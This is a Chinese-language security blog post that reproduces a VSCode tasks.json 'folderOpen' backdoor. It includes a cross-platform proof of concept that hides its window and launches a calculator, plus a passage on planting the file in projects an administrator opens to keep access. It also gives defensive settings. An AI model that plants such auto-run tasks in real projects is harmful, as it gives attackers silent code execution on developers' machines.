很早之前就注意到国外有利用 VSCode Tasks (tasks.json任务文件) 这个特性来留后门维持权限或者进行钓鱼、投毒等攻击事件,其实这种方法早在25年6月份左右就有老外发出来了。最近看到有师傅在分享这个,所以我在本地用之前刚装的 VSCode 14.2.231.21 进行了简单测试复现,暂不确定官方会不会修复这个问题,大家还是注意下吧。
后门简述
VSCode 允许通过文件自动执行任务 tasks.json,攻击者可以利用这一特性,植入一个隐蔽的后门,在 VSCode 中打开该文件夹时就会执行任意代码。
影响范围
这种留后门方式不仅影响 Windows,同时也影响 Linux 和 macOS,而且只要是基于 VSCode 二开的编辑器也均受影响,包括目前比较流行的一些 AI 代码编辑器,如:Cursor、Trae、Kiro、Windsurf、Antigravity 等等(已测试),CodeBuddy 不行。
复现测试
复现方法也很简单:新建一个 test 测试目录,然后在这个目录下再新建一个 .vscode/ 目录,最后在这目录下再新建一个 tasks.json 文件,直接使用网上他们公布的 POC 粘贴进去即可。
{
"version": "2.0.0",
"tasks": [
{
"label": "VS",
"type": "shell",
"command": "powershell",
"args": [
"-WindowStyle",
"Hidden",
"-Command",
"Start-Process calc.exe"
],
"problemMatcher": [],
"group": {
"kind": "build",
"isDefault": true
},
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"echo": false,
"reveal": “never”,
"focus": false,
"panel": "dedicated"
},
"os": "windows"
},
{
"label": "VS-OSX",
"type": "shell",
"command": "open",
"args": [
"-a",
"Calculator"
],
"problemMatcher": [],
"group": {
"kind": "build"
},
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
“echo”: false,
"reveal": “never”,
"focus": false,
"panel": "dedicated"
},
"os": "osx"
},
{
"label": "VS-Linux",
"type": "shell",
"command": "gnome-calculator",
"problemMatcher": [],
"group": {
"kind": "build"
},
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"echo": false,
"reveal": “never”,
"focus": false,
"panel": "dedicated"
},
"os": "linux"
}
]
}

回到我们打开的 VSCode 窗口,将刚刚新建的 test 测试目录直接拖进去即可,这里需要等一会,等运行完成后就会弹出计算器了。

或者也可以在 test 测试目录下新建一个 VSCode 工作区文件(.code-workspace),内容如下,只要双击打开这个文件也会自动运行并弹出计算器。
{
“folders”: [
{
“path”: “.”
}
],
“settings”: {}
}

假如在实战中我们可以全盘搜索下这个 VSCode 工作区文件(.code-workspace),找一个管理员最近或者经常打开的项目,把 .vscode/tasks.json 文件传上去即可,主要用于权限维持(短期可以,长期可能也不太行。自由发挥吧)。
注意事项
VSCode 工作区信任设置默认为 untiDismissed,在打开项目时会出现下图弹窗提示,但我个人认为这仅仅只是一个提示,大多数人都不会去检查代码是否安全?基本都是直接点击信任,我之前就是这样(其实也可以选择不信任安全浏览代码的,只是功能上可能会有一些限制)。
还有就是一般只有在第一次打开某个项目时才会出现这样的信任弹窗提示,但只要我们点击了一次信任后就已经加入了受信任的文件夹和工作区,下次再打开这个时就不会再有这提示了。

另外我在测试中发现有的二开 AI 代码编辑器阉割了 VSCode 工作区信任功能,打开项目时不会出现信任弹窗提示,如:Cursor,其他的自行测试!

Cursor 不能通过 VSCode 工作区文件打开,只能拖进去,测试了其他几款 AI 代码编辑器都可以,最后我们使用 Cursor 重新生成了个工作区文件,原来是和 VSCode 格式不太一样,多了个 MCP 配置项。
{
“folders”: [
{
“path”: “.”
}
],
“settings”: {
“kiraAgent.configureMCP”: “Disabled”
}
}

安全建议
如果我们用不上自动任务功能,可通过 Ctrl+, 在设置中搜索 Tasks,然后将其选项设置为 off 即可,这样即使点击了信任工作区也不会再执行后门了。
常用 AI 代码编辑器自动任务默认选项如下:
VSCode:on
Cursor:on
Trae:on
Kiro:on
Windsurf:on
CodeBuddy:off
Antigravity:on

工作区信任设置可通过 Ctrl+Shift+P,然后搜索“工作区信任”找到,在这里可自行设置工作区信任相关设置以及添加或删除受信任的文件夹和工作区。

这类攻击方式虽然隐蔽,但本质上仍是利用开发工具的自动化功能。对于开发者而言,保持警惕,不随意信任来源不明的工作区,并及时关闭不必要的自动执行功能,是防止安全/渗透攻击的有效手段。同时,了解各类前端框架/工程化工具的潜在风险,也是现代开发者必备的安全素养。欢迎到云栈社区探讨更多开发安全议题。
参考文章
Integrate with External Tools via Tasks:
https://code.visualstudio.com/docs/debugtest/tasks#_custom-tasks
Backdooring VSCode Projects:
https://github.com/SaadAhla/VSCode-Backdoor
VSCode Project Multi-Platform Backdoor:
https://lol.systems/blog/vscode-project-multiplatform-backdoor/
Latest Contagious Interview malware campaign abuses Microsoft VSCode Tasks:
https://opensourcemalware.com/blog/contagious-interview-vscode